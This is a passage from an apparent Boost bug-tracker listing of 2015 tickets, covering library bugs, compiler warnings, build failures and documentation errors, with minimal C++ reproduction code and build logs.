OpenSSL now requires Diffie-Hellman keys to be at least 768 bits (https://www.openssl.org/blog/blog/2015/05/20/logjam-freak-upcoming-changes/).

This bug may be reproduced using the SSL examples in the Boost documentation (http://www.boost.org/doc/libs/1_58_0/doc/html/boost_asio/example/cpp03/ssl/server.cpp) and a recent version of OpenSSL that restricts DH keys to 768 or more bits. (I'm using OpenSSL version 1.0.2d.) Observe the bug by placing a breakpoint on the server-side handshake handler and seeing that the breakpoint is never hit.

For what it's worth, the client-side handshake operation completes, with error ("dh key too small"), as expected. So this problem affects only the server.

#11643: warning clang without c++11

anonymous — Fri, 11 Sep 2015 11:35:45 GMT

We get this warning around a million times, when compiling our project:

/opt/local/include/boost/mpl/print.hpp:50:19: warning: in-class initialization of non-static data member is a C++11 extension [-Wc++11-extensions]

const int m_x = 1 / (sizeof(T) - sizeof(T));

#11640: scope_exit: -Wshadow warning issued

lukasz.czajczyk@… — Thu, 10 Sep 2015 13:33:35 GMT

Hi, BOOST_SCOPE_EXIT emits warning: declaration shadows a local variable [-Wshadow] in CLANG compiler. Tested with boost 1.54-1.58 and CLANG 3.5-3.7. The issue does not occur on GCC when boost is included using -isystem.

Sample program:

Code highlighting:

#include <boost/scope_exit.hpp>
int main()
{
   int i, j = 0;
   BOOST_SCOPE_EXIT(i, j)
   {} BOOST_SCOPE_EXIT_END
   return 0;
}

Compiled with clang++ -isystem /tmp/boost/boost_1_58_0 -Wshadow

warning: declaration shadows a local variable [-Wshadow]

BOOST_SCOPE_EXIT(i, j)

/tmp/boost/boost_1_58_0/boost/scope_exit.hpp:900:17: note: expanded from macro 'BOOST_SCOPE_EXIT'

VA_ARGS)

/tmp/boost/boost_1_58_0/boost/scope_exit.hpp:893:59: note: expanded from macro 'BOOST_SCOPE_EXIT_ID'

BOOST_SCOPE_EXIT_AUX_PP_VOID_LIST(VA_ARGS)))

/tmp/boost/boost_1_58_0/boost/scope_exit.hpp:178:59: note: expanded from macro 'BOOST_SCOPE_EXIT_AUX_PP_VOID_LIST'

BOOST_SCOPE_EXIT_AUX_PP_KEYWORD_IS_VOID_BACK, VA_ARGS)

note: (skipping 66 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all) /tmp/boost/boost_1_58_0/boost/preprocessor/list/adt.hpp:35:63: note: expanded from macro 'BOOST_PP_LIST_FIRST_D' # define BOOST_PP_LIST_FIRST_D(list) BOOST_PP_LIST_FIRST_I list

/tmp/boost/boost_1_58_0/boost/preprocessor/list/adt.hpp:40:44: note: expanded from macro 'BOOST_PP_LIST_FIRST_I' # define BOOST_PP_LIST_FIRST_I(head, tail) head

/tmp/boost/boost_1_58_0/boost/scope_exit.hpp:316:5: note: expanded from macro 'BOOST_SCOPE_EXIT_AUX_ARG_DECL'

var

p.cxx:5:8: note: previous declaration is here

int i, j = 0;

#11639: document std's vs boost's chrono::steady_clock system-wideness discrepancy

Thu, 10 Sep 2015 08:20:34 GMT

boost doc states that its steady_clock is system-wide, in doc/libs/1_59_0/doc/html/chrono/reference.html#chrono.reference.cpp0x.system_clocks_hpp.steady_clock

steady_clock class provides access to the system-wide steady clock.
The current time can be obtained by calling steady_clock::now().
There is no fixed relationship between values returned by
steady_clock::now() and wall-clock time.

As far as I know, the C++11 standard does not make this requirement.

It would be good to highlight this discrepancy in the doc, especially since the doc "Included on the C++11 Recommendation" section let's you think that boost's chrono and std's chrono are interchangeable.

#11633: chrono IO V1 may throw bad_cast

Wed, 09 Sep 2015 14:59:45 GMT

I had occurences of chrono io throwing bad_cast exceptions, which lead to backtraces like this one:

    #0  0x00007ffff54fda30 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
    #1  0x00007ffff554f2a2 in std::__throw_bad_cast() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
    #2  0x00007ffff2289bab in std::use_facet<boost::chrono::duration_punct<char> > (__loc=...) at /usr/include/c++/4.8/bits/locale_classes.tcc:137
    #3  0x00007ffff2288c61 in boost::chrono::operator<< <char, std::char_traits<char>, boost::rational<int>, boost::ratio<1l, 1l> > (os=..., d=...) at /home/sbarthelemy/.local/share/qi/toolchains/linux64/boost/include/boost/chrono/io_v1/chrono_io.hpp:210

I think the attached minimal example reproduces the issue.

Here the compile & run log using boost 1.58

$ make clean && make test
rm -f src/*.o src/chrono_io
clang++ -std=c++11 -c -g -fPIC -Iinclude -I/usr/include -o src/chrono_io.o src/chrono_io.cc
clang++ -std=c++11 -rdynamic -Lsrc -o src/chrono_io src/chrono_io.o -lboost_chrono -lboost_system -lpthread -L/usr/lib/x86_64-linux-gnu
LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu ./src/chrono_io
terminate called after throwing an instance of 'std::bad_cast'
  what():  std::bad_cast
Aborted (core dumped)
Makefile:13: recipe for target 'test' failed
make: *** [test] Error 13

Here is the code around boost/include/boost/chrono/io_v1/chrono_io.hpp:210

template <class CharT, class Traits, class Rep, class Period>
std::basic_ostream<CharT, Traits>&
operator<<(std::basic_ostream<CharT, Traits>& os, const duration<Rep, Period>& d)
{
    typedef duration_punct<CharT> Facet;
    std::locale loc = os.getloc();
    if (!std::has_facet<Facet>(loc))
        os.imbue(std::locale(loc, new Facet));
    const Facet& f = std::use_facet<Facet>(os.getloc()); //<<<<<<< line210, throw here
    return os << d.count() << ' ' << f.template name<Period>(d.count());
}

maybe we could avoid calling os.getloc() again at line 210 to avoid the race?

#11629: Appears clash when the boost::log and boost::asio::io_service are running in the same time.

Wed, 09 Sep 2015 03:12:44 GMT

I meet the problem that the boost::log can't output any of log to target file when executes boost::asio::io_service.run() for socket. The socket uses the functions as followed:

1) async_connect 2) async_read_until. It receives data from server. 3) async_write. It sends heartbeat data interval 60 seconds.

But if I mask the _ioService.run(),The boost::log work normally. what reason is that? what is I remind when use the boost::log and boost::asio::server?

BOOST library version is boost_1_58. My OS information as followed:

[liangzh@localhost agent]$ uname -a

Linux localhost 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

[liangzh@localhost lebe_log]$ uname -m

x86_64

[liangzh@localhost lebe_log]$ uname -r

2.6.32-358.el6.x86_64

[liangzh@localhost agent]$ gcc --version

gcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-11) Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

#11626: graph: segfault with custom container example

blobfish@… — Mon, 07 Sep 2015 17:10:05 GMT

Experimenting with using a custom container for boost graph and started with the example 'ordered_out_edges.cpp'. This example compiles fine, but has a segfault accessing string edge properties of the custom container. Back trace and other info are attached.

#11622: std::auto_ptr is deprecated

anonymous — Mon, 07 Sep 2015 09:10:26 GMT

Hi,

I'm using Boost 1.59 and compiling a signals2 program using a new compiler: gcc 5.2.1.

My code is now littered with warnings!! warning: ‘template<class> class std::auto_ptr’ is deprecated

and indeed: Checking it here http://en.cppreference.com/w/cpp/memory/auto_ptr I see: "deprecated since C++11"

(Seems that std::unique_ptr is the favoured replacement.)

Here's the output of an online compiler: http://melpon.org/wandbox/permlink/7QyVTXZ51MVonsgv

#11621: Regexp doesn't match "\\"

dezelin@… — Sun, 06 Sep 2015 10:37:26 GMT

While in lexer, regexp:

[\"]([^{\"]|([
]([
][\"]|[']|[n]|[t]|[b]|[r]|[ ])|[
][0-9][0-9][0-9]|[
][x]([0-9]|[A-F]∣[a-f])([0-9]|[A-F][a-f]))|[
]([\n]|[\r\n])([ ]|[\t])*)*[\"]}

doesn't match strings in expression

let ticker_animation = [|

"
"; "|"; "/"; "-";

The first string "
" seems to be matched with escaped second " instead as a string.

To check, please visit http://www.regexr.com/.

#11620: BOOST_NO_AUTO_PTR support for ptr_container

timblechmann — Sun, 06 Sep 2015 09:48:23 GMT

it would be nice if ptr_container could make use of BOOST_NO_AUTO_PTR.

#11619: Chrono V2 IO - format tags 'unsupported'?

steve.hickman@… — Fri, 04 Sep 2015 20:24:43 GMT

http://www.boost.org/doc/libs/1_59_0/doc/html/chrono/reference.html#chrono.reference.io.ios_state_hpp.sag.set_time_fmt

table 6.3 on the page linked above describes format tags to be used with IO. Several are listed as unsupported. There is no explanation of what 'unsupported' means. Does it mean a format string with one of those tags will cause an exception? Will the format tag be ignored? Will the entire format string fail to work? Will interation over the string stop before or after the 'unsupported' tag? More explanation would be helpful here.

#11613: ptime deserialization runtime issue when using ClCompile->Optimization set to MaxSpeed.

dirtypiece@… — Wed, 02 Sep 2015 14:30:51 GMT

When compiling with <ClCompile><Optimization>MaxSpeed</Optimization></ClCompile>, ptime doesn't appear to deserialize properly from a file (the internal _date field appears to be bogus). I also deserialize UUID and it appears to be fine. When I switch the Optimization to either Full or Disabled, it seems to deserialize fine.

#11609: circular_buffer erroneously invalidates reverse_iterator at pop_back in debug mode

christian.stimming@… — Tue, 01 Sep 2015 15:50:34 GMT

The circular_buffer container offers reverse iterators. Using one so that it points to the second-to-last element would in theory allow to pop_back() the last element without causing problems with that iterator. However, apparently pop_back() invalidates those reverse iterators even though they wouldn't cause problems, as if the debug_iterator_registry in boost/circular_buffer/debug.hpp is working correctly only for forward iterators but not for backward iterators.

Example code that works fine without debug mode, but will run into a failed assertion in debug mode:

#define BOOST_CB_ENABLE_DEBUG
#include <boost/circular_buffer.hpp>
#include <iostream>
int main(int /*argc*/, char** /*argv*/) {
	typedef boost::circular_buffer<int> CircBuffer;
	CircBuffer testBuffer(2);
	testBuffer.push_back(4);
	testBuffer.push_back(8);
	CircBuffer::const_reverse_iterator bufIter = testBuffer.rbegin();
	std::cout << "element at rbegin=" << *bufIter << std::endl; // prints "=8" correctly
	++bufIter;
	std::cout << "element after ++=" << *bufIter << std::endl; // prints "=4" correctly
	testBuffer.pop_back();
	std::cout << "elem=" << *bufIter << std::endl; // ERROR: Causes "Assertion `is_valid(m_buff)' failed."
}

#11601: Boost 1.59 doesn't build with Visual C++ 2015

anonymous — Mon, 31 Aug 2015 07:33:07 GMT

Trying to build Boost with Visual C++ 2015 fails with an error message: can't find header file corecrt.h. It turns out that Visual C++ has changed the location of some header files in this release. The batch file vcvarsall.bat correctly sets the new path, but it looks like the Boost build program b2 makes its own guess at paths, and that guess was derived from earlier versions of Visual C++ and is no longer accurate?

#11597: undefined reference to boost::system::generic_category()

davido — Sat, 29 Aug 2015 05:57:02 GMT

There is BOOST_SYSTEM_NO_DEPRECATED macro that allows to ignore deprecated vars and functions. However, this not trivial for big size project (LibreOffice) that depends on dozen external libraries, that use boost, to propagate this define.

To rectify it, reverse the logic and require the folks to define BOOST_SYSTEM_DEPRECATED only when deprecated stuff is really needed, with

# ifdef BOOST_SYSTEM_DEPRECATED [...] # endif

#11595: boost container forward declares names from the std namespace illegally

Mathias Gaunard — Thu, 27 Aug 2015 18:49:05 GMT

Header <boost/container/detail/std_fwd.hpp> forward-declares stuff from the std namespace, which is illegal as per the C++ standard. It tries to detect the standard library to know it can do it safely, but this is imperfect and fails on more exotic standard library implementations.

Code should be modified so that it falls back to including the right headers if dealing with an unknown standard library.

It should also use better standard library detection logic based on boost.config instead of checking directly for libc++ and libstdc++ defines (indeed, some standard libraries sit on top of others, like STLPort).

#11594: mpl/test/string.cpp fails, test needs to take into account endianness.

Thu, 27 Aug 2015 17:29:00 GMT

Compiling mpl/test/string.cpp with Oracle Solaris Studio 12.4 on sparc-S2 platform, the test fails as follows: % CC -compat=5 -library=stlport4 -xO4 -mt -erroff=%none -m64 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I.. -c -o ./string.o ../libs/mpl/test/string.cpp "../libs/mpl/test/string.cpp", line 66: Warning: Multi-character character literal 'aaaa'. "../libs/mpl/test/string.cpp", line 66: Warning: Multi-character character literal 'aaaa'. ... ... "../libs/mpl/test/string.cpp", line 140: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<25185, 0, 0, 0, 0, 0, 0, 0>, boost::mpl::string<24930, 0, 0, 0, 0, 0, 0, 0>>::. "../libs/mpl/test/string.cpp", line 143: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<6513249, 0, 0, 0, 0, 0, 0, 0>, boost::mpl::string<6382179, 0, 0, 0, 0, 0, 0, 0>>::. "../libs/mpl/test/string.cpp", line 146: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<1684234849, 0, 0, 0, 0, 0, 0, 0>, boost::mpl::string<1633837924, 0, 0, 0, 0, 0, 0, 0>>::. "../libs/mpl/test/string.cpp", line 149: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<1684234849, 101, 0, 0, 0, 0, 0, 0>, boost::mpl::string<1633837924, 101, 0, 0, 0, 0, 0, 0>>::. ... "../libs/mpl/test/string.cpp", line 319: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<1633771864, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873>, boost::mpl::string<1482776929, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873, 1633771873>>::. "../libs/mpl/test/string.cpp", line 321: Warning: Multi-character character literal 'aaaa'. "../libs/mpl/test/string.cpp", line 323: Error: Formal argument 1 of type mpl_::assert<0> in call to mpl_::assertion_failed<0>(mpl_::assert<0>) is being passed mpl_::failedboost::is_same<boost::mpl::string<1633771864, 1633771873, 1633771873, 0, 0, 0, 0, 0>, boost::mpl::string<1482776929, 1633771873, 1633771873, 0, 0, 0, 0, 0>>::. Compilation aborted, too many Error messages. %

In boost/mpl/string.hpp:

#if defined(BOOST_ENDIAN_LITTLE_BYTE) && defined(SUNPRO_CC) ... #else ...

condition should be fixed to correctly detect endiannes.

The following change causes the testcase to compile. diff string.hpp string.hpp_new 62c62 < #if defined(BOOST_ENDIAN_LITTLE_BYTE) && defined(SUNPRO_CC) ---

#if BOOST_ENDIAN_LITTLE_BYTE && defined(SUNPRO_CC)

With this change, the result is: CC -compat=5 -library=stlport4 -xO4 -mt -erroff=%none -m64 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I.. -c -o ./string.o ../libs/mpl/test/string.cpp "../libs/mpl/test/string.cpp", line 66: Warning: Multi-character character literal 'aaaa'. ... "../libs/mpl/test/string.cpp", line 363: Warning: Multi-character character literal 'el'. 72 Warning(s) detected. %

#11588: Build error using --build-type=complete

anonymous — Thu, 27 Aug 2015 12:05:16 GMT

.../boost_1_59_0 $ ./b2 --layout=versioned --build-type=complete --without-mpi -sICU_PATH=$BUILD_PREFIX toolset=gcc architecture=x86 address-model=64 link=static --prefix=$BUILD_PREFIX install -j8 Performing configuration checks

32-bit : no
64-bit : yes
arm : no
mips1 : no
power : no
sparc : no
x86 : yes
symlinks supported : yes
lockfree boost::atomic_flag : yes
has_icu builds : yes

warning: Graph library does not contain MPI-based parallel components. note: to enable them, add "using mpi ;" to your user-config.jam

zlib : yes
iconv (libc) : yes
icu : yes
compiler-supports-visibility : yes
compiler-supports-ssse3 : yes
compiler-supports-avx2 : yes
gcc visibility : yes
long double support : yes
zlib : yes (cached)
zlib : yes (cached)

warning: Skipping Boost.Locale library with threading=single. warning: Skipping Boost.Thread library with threading=single. warning: Skipping Boost.Wave library with threading=single.

zlib : yes (cached)
zlib : yes (cached)
zlib : yes (cached)
zlib : yes (cached)
zlib : yes (cached)

error: Name clash for '<p/home/foo/3rdparty/linux-x86_64-gcc49/lib>libboost_atomic-gcc49-mt-sd-1_59.a' error: error: Tried to build the target twice, with property sets having error: these incompatible properties: error: error: - <dll-path>/home/foo/3rdparty/linux-x86_64-gcc49/bin error: - none error: error: Please make sure to have consistent requirements for these error: properties everywhere in your project, especially for install error: targets.

#11587: Compute index from offset and vice versa

alex.shtf@… — Thu, 27 Aug 2015 09:38:48 GMT

When using multi_array, or more precisely multi_array_ref, it is sometimes essential to compute a multi-dimensional index from an absolute offset from the origin, and vice versa. It is essential for inter-operability with legacy code that is not aware of multi_array.

I believe that two methods:

multi_array::index_to_offset
multi_array::offset_to_index

will do the job.

#11586: Webcheck result is outdated: Remove or update

Thu, 27 Aug 2015 01:55:25 GMT

http://www.boost.org/development/webcheck/about.html says:

This report was generated on Fri May 24 12:09:58 2013, a total of 1101 links were found.

I suggest that either:

(1) Updates are run, e.g. "/common/code/update-daily.sh" is executed. (If that file has 'daily' in it's name, shouldn't the last execution be more recent than that?)

(2) Webcheck is removed, as "no overview" is sometimes better than "outdated, wrong, and possibly buggy overview that isn't regularily sanity-checked let alone proofed against exploits/features". Also, webcheck seems to be orphaned, as their site reports the last activity to have been on 2013-12-15: https://github.com/arthurdejong/webcheck/commits/master

#11585: Johnson All Pairs - wrong edge mapping

Wed, 26 Aug 2015 22:37:36 GMT

I checked the example here : http://www.boost.org/doc/libs/1_40_0/libs/graph/example/johnson-eg.cpp

The results are correct. Then, I shortened the graph to 3 vertices and 6 edges (see attached file). The print out of the graph is incorrect (see output : some edges are reversed).

If you run the example, you'll note edge 0->2 shortest path is reported as 90 instead of 98. As well, the dot graph produced is showing wrong edge properties.

#11584: Johnson All Pairs - wrong edge mapping

Wed, 26 Aug 2015 22:37:36 GMT

I checked the example here : http://www.boost.org/doc/libs/1_40_0/libs/graph/example/johnson-eg.cpp

The results are correct. Then, I shortened the graph to 3 vertices and 6 edges (see attached file). The print out of the graph is incorrect (see output : some edges are reversed).

If you run the example, you'll note edge 0->2 shortest path is reported as 90 instead of 98. As well, the dot graph produced is showing wrong edge properties.

#11583: Johnson All Pairs - wrong edge mapping

Wed, 26 Aug 2015 22:37:32 GMT

I checked the example here : http://www.boost.org/doc/libs/1_40_0/libs/graph/example/johnson-eg.cpp

The results are correct. Then, I shortened the graph to 3 vertices and 6 edges (see attached file). The print out of the graph is incorrect (see output : some edges are reversed).

If you run the example, you'll note edge 0->2 shortest path is reported as 90 instead of 98. As well, the dot graph produced is showing wrong edge properties.

#11581: Interprocess documentation error

anonymous — Wed, 26 Aug 2015 13:55:05 GMT

In the Reference section for the Boost.Interprocess library (seen at http://www.boost.org/doc/libs/1_59_0/doc/html/interprocess/indexes_reference.html), there are a series of links under a heading of "Class Index." These ostensibly allow one to jump through the list of classes by their first letter. However, these links actually point to the Boost.CircularBuffer documentation, which is confusing; I'm assuming this is a copy/paste error from somewhere.

#11580: invalid buffer result

Tue, 25 Aug 2015 10:00:19 GMT

The following code example produces invalid results. Reducing the distance e.g. from 2.37 to 1 produces correct results. I have tested this code with boost 1.57 and boost 1.59 with the same results.

#include <boost/geometry.hpp>
#include <boost/geometry/geometries/geometries.hpp>
namespace bg = boost::geometry;
int main()
{
	typedef bg::model::point<double, 2, bg::cs::cartesian> point;
	typedef bg::model::polygon<point> polygon;
	polygon poly;
	bg::read_wkt("POLYGON((14.02 474.96,14.02 494.96,14.022 494.96,14.022 486.24,14.02 474.96))", poly);
        bg::strategy::buffer::distance_symmetric<double> distance_strategy(2.37);
	bg::strategy::buffer::side_straight side_strategy;
	bg::strategy::buffer::join_miter join_strategy;
	bg::strategy::buffer::end_flat end_strategy;
	bg::strategy::buffer::point_circle point_strategy;
	bg::model::multi_polygon<Polygon> grown;
	bg::buffer(poly, grown, distance_strategy, side_strategy, join_strategy,
			   end_strategy, point_strategy);
	std::cout << bg::wkt(grown) << std::endl;
	return 0;
}

The returned shape is:

MULTIPOLYGON(((16.39 474.96,16.3842 474.795,16.3669 474.63,16.3382 474.467,16.2982 474.307,16.2471 474.149,16.1851 473.996,16.1126 473.847,16.0299 473.704,15.9374 473.567,15.8355 473.437,15.7248 473.314,15.6058 473.199,15.4791 473.092,15.3453 472.995,15.205 472.908,15.0589 472.83,14.9078 472.763,14.7524 472.706,14.5934 472.66,14.4315 472.626,14.2677 472.603,14.1027 472.591,13.9373 472.591,13.7723 472.603,13.6085 472.626,13.4466 472.66,13.2876 472.706,13.1322 472.763,12.9811 472.83,12.835 472.908,12.6947 472.995,12.5609 473.092,12.4342 473.199,12.3152 473.314,12.2045 473.437,12.1026 473.567,12.0101 473.704,11.9274 473.847,11.8549 473.996,11.7929 474.149,11.7418 474.307,11.7018 474.467,11.6731 474.63,11.6558 474.795,11.65 474.96,11.6558 475.125,11.6731 475.29,11.7018 475.453,11.7418 475.613,11.7929 475.771,11.8549 475.924,11.9274 476.073,12.0101 476.216,12.1026 476.353,12.2045 476.483,12.3152 476.606,12.4342 476.721,12.5609 476.828,12.6947 476.925,12.835 477.012,12.9811 477.09,13.1322 477.157,13.2876 477.214,13.4466 477.26,13.6085 477.294,13.7723 477.317,13.9373 477.329,14.1027 477.329,14.2677 477.317,14.4315 477.294,14.5934 477.26,14.7524 477.214,14.9078 477.157,15.0589 477.09,15.205 477.012,15.3453 476.925,15.4791 476.828,15.6058 476.721,15.7248 476.606,15.8355 476.483,15.9374 476.353,16.0299 476.216,16.1126 476.073,16.1851 475.924,16.2471 475.771,16.2982 475.613,16.3382 475.453,16.3669 475.29,16.3842 475.125,16.39 474.96)))

#11577: Parallel graph documentation refers to non-existent type

Mon, 24 Aug 2015 18:33:18 GMT

The distributed_adjacency_list documentation http://www.boost.org/doc/libs/1_59_0/libs/graph_parallel/doc/html/distributed_adjacency_list.html refers to parallel::mpi::bsp_process_group, which no longer seems to exist. Using the type boost::graph::distributed::mpi_process_group instead does work.

#11576: boost::geometry::intersection wrong results

alex-x@… — Mon, 24 Aug 2015 17:01:43 GMT

Here is a code of intersection of two 2d triangles. boost::geometry::intersection (inside get_poly_intersection_area_S_2d function) gives empty result. It was ok in boost 1.55.0 version.

// boost_geom.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <time.h>
#include <deque>
#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
#include <boost/geometry/geometries/polygon.hpp>
#include <boost/foreach.hpp>
bool	get_poly_intersection_area_S_2d(	const double *poly_x_1, const int poly_n_1,
											const double *poly_x_2, const int poly_n_2, double *S)
{
	// intersects two 2d polygons using boost::geometry library
	// polygons are in 3d format [(x0, y0, 0.0) (x1, y1, 0.0) .... (xn, yn, 0.0) ]
	// S is resulting area of intersection
	// returns true if intersection exists (area > DBL_EPSILON) and false otherwise
	typedef boost::geometry::model::d2::point_xy<double> bg_point;
	typedef boost::geometry::model::polygon< bg_point, false, false > bg_polygon;
	*S = 0.0;
	bg_polygon bg_poly_1, bg_poly_2;
	// init boost 2d polygons by our double 3D polygons
	for(int i=0; i<poly_n_1; i++)
		bg_poly_1.outer().push_back(bg_point(poly_x_1[i*3], poly_x_1[i*3+1]));
	for(int i=0; i<poly_n_2; i++)
		bg_poly_2.outer().push_back(bg_point(poly_x_2[i*3], poly_x_2[i*3+1]));
	// correct polygons
	boost::geometry::correct(bg_poly_1);
	boost::geometry::correct(bg_poly_2);
	// call intersection
	std::deque<bg_polygon> output;
	bool res = boost::geometry::intersection(bg_poly_1, bg_poly_2, output);
	if(!res)
		return false;
	// for each polygon of intersection we add area
	BOOST_FOREACH(bg_polygon const& p, output)
	{
		double s = boost::geometry::area(p);
		*S += s;
	}
	// no intersection
	if(fabs(*S) <= DBL_EPSILON)
		return false;
	// intersection > DBL_EPSILON
	return true;
}
int _tmain(int argc, _TCHAR* argv[])
{
	/*double p1[3 * 3] = {0.00000000000000000,
			-0.00000000000000000,
			0.00000000000000000,
			0.0025482760575599476,
			0.00000000000000000,
			0.00000000000000000,
			0.00053468140165232941,
			0.0010376086029810613,
			0.00000000000000000};
	double p2[4 * 3] = {0.0030662413355881501,
			0.0010051691098038377,
			0.00000000000000000,
			0.0019811507896907981,
			-0.0011005695262458440,
			0.00000000000000000,
			-3.2443866216813556e-005,
			-6.2960923264770714e-005,
			0.00000000000000000,
			0.0010526466796805442,
			0.0020427777127849226,
			0.00000000000000000};*/
	double p1[3 * 3]={
			-0.00000000000000000	,
			0.00000000000000000	,
			0.00000000000000000	,
			0.0030892383152813277,
			0.00000000000000000	,
			0.00000000000000000	,
			0.0017033357506405240,
			0.0015364430953530355,
			0.00000000000000000
	};
	double p2[3 * 3] = {
			0.0023117731015916947,
			0.00082400923980274917,
			0.00000000000000000,
			0.00079878052059454633,
			0.00072051609032968962,
			0.00000000000000000,
			0.0016845031281539609,
			0.0015194556912103366,
			0.00000000000000000
	};
	double s = 0;
	get_poly_intersection_area_S_2d(p1, 3, p2, 3, &s);
	return 0;
}

#11575: Boost::Polygon insert(item, true) of polygon_set_data wrong

cybfly1@… — Mon, 24 Aug 2015 16:50:21 GMT

Codes below shows the way "o_full_set.insert(o_item, true);" which works in 1_53 but the same codes not get the same result with the same input in 1_56. And if i use "o_full_set -= o_item;", then it works fine.

oPrboundary : (0, 0) (1000, 0), (1000, 1000) (0, 1000) insert one polygon into pinGroup:(500, 500) (600, 500) (600, 600) (500, 600)

#include <iostream> #include <boost/polygon/polygon.hpp> #include <cassert> namespace gtl = boost::polygon; using namespace boost::polygon::operators;

lets construct a 10x10 rectangle shaped polygon typedef gtl::polygon_data<int> Polygon; typedef gtl::polygon_traits<Polygon>::point_type Point; typedef gtl::polygon_set_data<int> PolygonSet; typedef std::vector<Polygon> PolyDataSet; void getOBS(Polygon &oPrboundary, PolyDataSet &pinGroup) {

PolygonSet o_full_set; o_full_set.insert(oPrboundary, false);

foreach (Polygon o_item, pinGroup) {

o_full_set.insert(o_item, true); Insert As Hole, which works in 1_53 but not in 1_56 o_full_set -= o_item; works in 1_53 and 1_56

}

PolyDataSet o_OBS_set; o_full_set.get(o_OBS_set);

for (int i = 0; i < o_OBS_set.size(); ++i) {

Polygon o_poly = o_OBS_set.at(i); std::vector<Point> poly_points; poly_points.insert(poly_points.end(), o_poly.begin(), o_poly.end()); foreach(Point o_pos, poly_points) {

std::cout << "(" << o_pos.x() << ", " << ") ";

} std::cout << std::endl;

}

}

http://www.cnblogs.com/dawnWind/p/boost_003.html

#11573: Mac OSX 10.5.8 install of Boost v1.59

schalk@… — Mon, 24 Aug 2015 08:24:33 GMT

Using Macports to install Boost fails on OSX 10.5.8 (Leopard). Version 1.58 installs fine. Server log file attached...

#11568: Memory mapping with Boost version 1.57

raviappaji11@… — Fri, 21 Aug 2015 11:54:41 GMT

Hi,

I am using Visual studio 2013 and boost library version 1.57.

I am using boost::interprocess namespace for mapping file's contents in memory.

I am using it in the following way:

m_fileMapper = new boost::interprocess::file_mapping((m_strInputFileName->getStringValue()).c_str(), boost::interprocess::read_only);

m_pixelRegion = new boost::interprocess::mapped_region(*m_fileMapper, boost::interprocess::read_only, m_FileHeader.PixelStartPos);

Here (m_strInputFileName->getStringValue()).c_str() will give the file which will be mapped to the memory.

m_FileHeader.PixelStartPos will give the position of the pixel in the file.

But when I execute this it throws an exception of type "boost::interprocess::interprocess_exception"

and the error code is 3, which is for "Access denied", even though the file is writable. This will happen when mapping the region.

It works correctly with Visual studio 2010 and boost version 1.48

Kindly let me know how to solve this problem.

Thanks & regards, Ravi Appaji

#11567: Boost crashes when boost::filesystem::path::imbue(std::locale(""));

anonymous — Fri, 21 Aug 2015 10:47:25 GMT

This code crashes:

   boost::filesystem::path::imbue(std::locale(""));
   boost::filesystem::path p (L"привет");

in:

  void dispatch(const std::wstring& c, U& to, const codecvt_type& cvt)
  {
    if (c.size())
      convert(&*c.begin(), &*c.begin() + c.size(), to, cvt); // SIGABRT cvt is invalid
  }

#11564: ZLIB library test failing on Solaris

lcarreon@… — Thu, 20 Aug 2015 13:47:23 GMT

I'm building Boost 1.59.0 on a Solaris 11 x86_64 virtual machine. I am sure the ZLIB and BZIP2 library packages are installed. These are the commands I use to build:

./bootstrap.sh --prefix=/export/home/dev00/boost_1_59_0 --with-toolset=sun
./b2 -sICU_PATH=/opt/icu4c-55.1 link=shared runtime-link=shared address-model=64 variant=release cxxflags="-std=c++11" linkflags="-std=c++11" install 2>&1 | tee ../libsol11.log

When the configuration stage finishes, the build indicates it has not detected the ZLIB library. I checked the bin.v2/config.log file and it has this error message:

"bin.v2/standalone/ac/zlib.h.cpp", line 1: Error: There is extra text on this line.
Error: Cannot continue processing because of prior errors.

I tried building the indicated file myself and it does generate the above error message. I checked the file and discovered that the cause of the error is a missing newline terminator.

I have looked at the code generating the above file but I could not figure out how to make it add the newline character thus I decided to log this ticket. The file generating the CPP file above is tools/build/test/zlib.py. I'm assuming this is a Python file which I'm not familiar with.

#11563: boost::range behavior changed from 1.55 to 1.56

fiesh@… — Thu, 20 Aug 2015 12:15:43 GMT

The following code sums up the problem, I think neither the behavior of <= 1.55 nor the one of >= 1.56 is desirable:

#include <boost/range/join.hpp>
#include <iostream>
#include <vector>
template <typename T>
void p(T const& t)
{
	for(const auto i: t) {
		std::cout << i << '\n';
	}
}
int main()
{
	std::vector<int> u(8, 0); // Make this const and it works.
	const std::vector<int> v(8, 0);
	p(boost::range::join(v, u)); // This does not work <= 1.55 but works >= 1.56
	p(boost::range::join(u, v)); // This does not work >= 1.56 but works <= 1.55
	return 0;
}

Also see http://melpon.org/wandbox/permlink/QuyJGrrLq3liyKDf for easier trial and error.

#11561: Build fails with threading=single,multi

ryandesign@… — Thu, 20 Aug 2015 07:30:22 GMT

Hello, I'm the maintainer of boost in the MacPorts package management system. We just updated our boost to 1.59.0, after which we got a report that the build fails if threading=single,multi is used. The error is:

error: Name clash for '<pstage/lib>libboost_atomic-mt.dylib'
error:
error: Tried to build the target twice, with property sets having
error: these incompatible properties:
error:
